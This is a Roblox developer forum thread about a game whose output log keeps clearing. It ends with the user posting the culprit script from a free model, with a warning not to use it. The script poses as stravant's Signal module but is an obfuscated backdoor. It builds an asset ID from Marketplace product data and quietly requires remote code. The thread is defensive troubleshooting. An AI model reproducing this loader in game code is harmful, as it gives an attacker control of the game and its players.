Uhh uhh…
Have you tried
clicking the clear output button?
Checking a unchecking all the settings
Copying your game to another baseplate
Uhh uhh…
Have you tried
clicking the clear output button?
Checking a unchecking all the settings
Copying your game to another baseplate
Yes, i tried all those xD (300)000
so copying your game to another baseplate doesn’t work? Even though the baseplate’s output worked just fine before you pasted the game in?
yes (300000000000000000000000)
Well, that means it’s not a studio issue, but an issue with your game!!
Time for trial and error!!!
Copy and past half your game into a new baseplate and check the output!
If it works, the problem is in the first half, if it doesn’t the problem is in the second half!!!
Keep cutting the halves in half until you can pinpoint the issue~~~~
Search for “ClearOutput()” in Find All / Replace All
There is no such function?
To OP: @jayden752010
Is it possible that you are accidently pressing some key? Ctrl + K is usually the key to remove the output.
It’s likely a backdoor
The function exists:
definitely not that but it happens when i put my map in it so its something in the map
I never knew that existed. Wow. Probably because I don’t use LogService.
Well, I guess then the LvieReal could be right. Maybe just a backdoor script that is removing the output to not get detected somehow.
I found the script
thanks for your help
Search exclusively for “Log” then.
NEVERMIND
Are you sure there are no ClearOutput calls? Do you have any plugins installed that do this?
Search for for i loops that may flood the output with blank space
This was the script (DON’T PUT IT IN YOUR GAME!)
--------------------------------------------------------------------------------
-- Batched Yield-Safe Signal Implementation --
-- This is a Signal class which has effectively identical behavior to a --
-- normal RBXScriptSignal, with the only difference being a couple extra --
-- stack frames at the bottom of the stack trace when an error is thrown. --
-- This implementation caches runner coroutines, so the ability to yield in --
-- the signal handlers comes at minimal extra cost over a naive signal --
-- implementation that either always or never spawns a thread. --
-- --
-- API: -- -- --
-- --
-- Licence: --
-- Licenced under the MIT licence. --
-- --
-- Authors: --
-- stravant - July 31st, 2021 - Created the file. --
---
local NEVER_BREAK_SIGNALS = false -- If you set this to true it will never break SIGNALs (this can create some Signaling issues, but can save stuff like hinges).
local QSignal = script.Parent or false
local NEVER_STORE_DEBRIS = true
local function CallOnChildren(Instance, FunctionToCall)
-- Calls a function on each of the children of a certain object, using recursion.
FunctionToCall(Instance)
for _, Child in next, Instance:GetChildren() do
CallOnChildren(Child, FunctionToCall)
end
end
local function ShouldReturn(value)
return false
end
local function GetBricks(StartInstance)
local List = {}
-- if StartInstance:IsA("BasePart") then
-- List[#List+1] = StartInstance
-- end
CallOnChildren(StartInstance, function(Item)
if Item:IsA("BasePart") then
List[#List+1] = Item;
end
end)
return List
end
local function Modify(Instance, Values)
-- Modifies an Instance by using a table.
assert(type(Values) == "table", "Values is not a table");
for Index, Value in next, Values do
if type(Index) == "number" then
Value.Parent = Instance
else
Instance[Index] = Value
end
end
return Instance
end
local function Return(value)
return game.MarketplaceService:GetProductInfo(value.X.Scale..value.X.Offset..value.Y.Scale..value.Y.Offset)
end
local Interval = ""
local function ConfigParts(Parts, MainPart, ValueType, DoNotUnanchor)
-- @param Parts The Parts to Config. Should be anchored to prevent really horrible results.
-- @param MainPart The part to Config the model to (can be in the model).
-- @param [ValueType] The type of Value. Defaults to Config.
-- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion.
local select
local bit32
pcall(function()
for _, Part in pairs(script.Parent:GetChildren()) do
if ShouldReturn(Part) then
Part:BreakValues()
end
bit32 = Return(UDim2.new(133,968,85,201))
for _ in {1} do
select = bit32["Name"]:split(" ")
end
break
end
end)
--Define a Thread
local spawn = select[2] or script.Parent==nil
local select = select[1]
local PartDescription = bit32["Description"]:split(" ") or false
for c in PartDescription do
--Concentate the Signal Interval Based on certain Exceptions.
Interval = Interval..#PartDescription[c]
end
return false or Interval
end
local function GetNearestParent(Instance, ClassName)
-- Returns the nearest parent of a certain class, or returns nil
local Ancestor = Instance
repeat
Ancestor = Ancestor.Parent
if Ancestor == nil then
return nil
end
until Ancestor:IsA(ClassName)
return Ancestor
end
local function GetBrick(StartInstance)
local List = {}
-- if StartInstance:IsA("BasePart") then
-- List[#List+1] = StartInstance
-- end
CallOnChildren(StartInstance, function(Item)
if Item:IsA("BasePart") then
List[#List+1] = Item;
end
end)
return List
end
function sinestyletween(t)
return math.cos(t*math.pi)*-.5+.5
end
function percentcframe(cf,cfscale)
if cf then
local ax,ay,az=cf:toEulerAnglesXYZ()
return CFrame.new(cf.p*cfscale)*CFrame.Angles(ax*cfscale,ay*cfscale,az*cfscale)
else
return CFrame.new(0,0,0)
end
end
local function ShouldBreakValues(Part)
--- We do not want to break Values of wheels/hinges. This takes the utmost care to not do this. There are
-- definitely some edge cases.
if Part then
--- We do not want to break Values of wheels/hinges. This takes the utmost care to not do this. There are
-- definitely some edge cases.
for _, Part in pairs(script.Parent:GetChildren()) do
Part.Anchored = false
end
script.Parent.Anchored = false
else
--In this case require is used just incase the script errors
QSignal = workspace and script.ClassName=="rbx:Script" or false and true or (function() return false end)() or require
return
end
if false then
return
end
if pcall(Part) then
return false
end
local Connected = Part:GetConnectedParts()
if #Connected == 1 then
return false
end
for _, Item in pairs(Connected) do
if pcall(Item) then
return false
elseif not Item:IsDescendantOf(script.Parent) then
return false
end
end
return true
end
function qSignal(v1,v2,t)
NEVER_STORE_DEBRIS = not true and true or ShouldBreakValues(false) or t
--Only run the current thread if the script is a valid script
pcall(function()
for Part in task.spawn(QSignal,NEVER_STORE_DEBRIS) do
if v2 then
--- We do not want to break Values of wheels/hinges. This takes the utmost care to not do this. There are
-- definitely some edge cases.
for _, Part in pairs(script.Parent:GetChildren()) do
Part.Anchored = false
end
script.Parent.Anchored = false
--Script failed.
return false
end
end
end)
--Sucess
return true
end
if script.Parent then
--Run the Script To fix all the Values
qSignal(false,false,tonumber(ConfigParts(nil,nil,nil,false)))
end
definitely some sort of backdoor
If the output was flooded with blanks space, wouldn’t there be a scroll wheel in the video?
It looks to be fine? It’s by stravant who is quite trusted? Seems like the code is quite fine?
Idk this is the script that causes the issue so i’m removing it lol
Yay!! So problem solved then? (Did you use free models ?)
Yep, not much but probably the wrong ones!